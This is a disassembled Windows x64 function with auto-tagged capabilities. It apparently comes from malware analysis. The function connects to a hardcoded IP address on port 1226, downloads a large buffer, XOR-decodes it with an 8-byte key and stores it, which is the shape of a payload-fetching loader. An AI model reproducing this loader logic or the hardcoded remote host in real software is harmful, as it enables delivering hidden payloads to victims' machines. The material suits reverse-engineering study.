Function at 0x140001a70
Capabilities:
Connect socket
Convert ip address from string
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x1e8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001ada
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x140003540]
call fcn.140001db0
mov rcx, rax
lea rdx, [0x140001f80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov al, 1
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140001fd0
add rsp, 0x1e8
ret
xor r8d, r8d
mov qword [rsp + 0x1f0], rbx
mov ebx, 2
mov qword [rsp + 0x1f8], rbp
mov ecx, ebx
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140001b37
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_socket.
call fcn.140001db0
mov rcx, rax
lea rdx, [0x140001f80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov al, 1
jmp 0x140001cac
mov ecx, 0x4ca
mov word [rsp + 0x20], bx
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x24]
mov ecx, ebx
lea rdx, str.121.221.245.66
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x140001b79
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_convert_the_server_IP_address.
call fcn.140001db0
jmp 0x140001bb7
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x140001bdd
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_connect_to_the_server._Error_code:
mov ebx, eax
call fcn.140001db0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001f80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov al, 1
jmp 0x140001cac
mov qword [rsp + 0x200], rsi
mov ecx, 0x1d1550
mov qword [rsp + 0x208], rdi
mov qword [rsp + 0x1e0], r14
call fcn.140002060
xor ebx, ebx
xor r9d, r9d
mov r8d, 0x1d1550
mov rdx, rax
mov rcx, rbp
mov esi, ebx
mov r14, rax
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140001c58
add esi, eax
movsxd rdi, esi
cmp rdi, 0x1d1550
jae 0x140001d32
mov rcx, rbp
test eax, eax
je 0x140001cd4
mov r8d, 0x1d1550
lea rdx, [rdi + r14]
sub r8d, esi
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x140001c20
lea rdx, str.Failed_to_receive_data.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001db0
lea rdx, [0x140001f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, r14
call fcn.140001ff0
xor al, al
mov rdi, qword [rsp + 0x208]
mov rsi, qword [rsp + 0x200]
mov r14, qword [rsp + 0x1e0]
mov rbx, qword [rsp + 0x1f0]
mov rbp, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140001fd0
add rsp, 0x1e8
ret
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
test esi, esi
je 0x140001d06
lea rcx, [0x140003530]
nop dword [rax + rax]
mov rax, rbx
and eax, 7
movzx eax, byte [rax + rcx]
xor byte [rbx + r14], al
inc rbx
cmp rbx, rdi
jb 0x140001cf0
mov rcx, rdi
call fcn.140002060
mov r8, rdi
mov qword [0x1400056c8], rax
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
call fcn.140001ff0
mov al, 1
jmp 0x140001c94
lea rdx, str.Received_data_exceeded_buffer_size.
jmp 0x140001c5f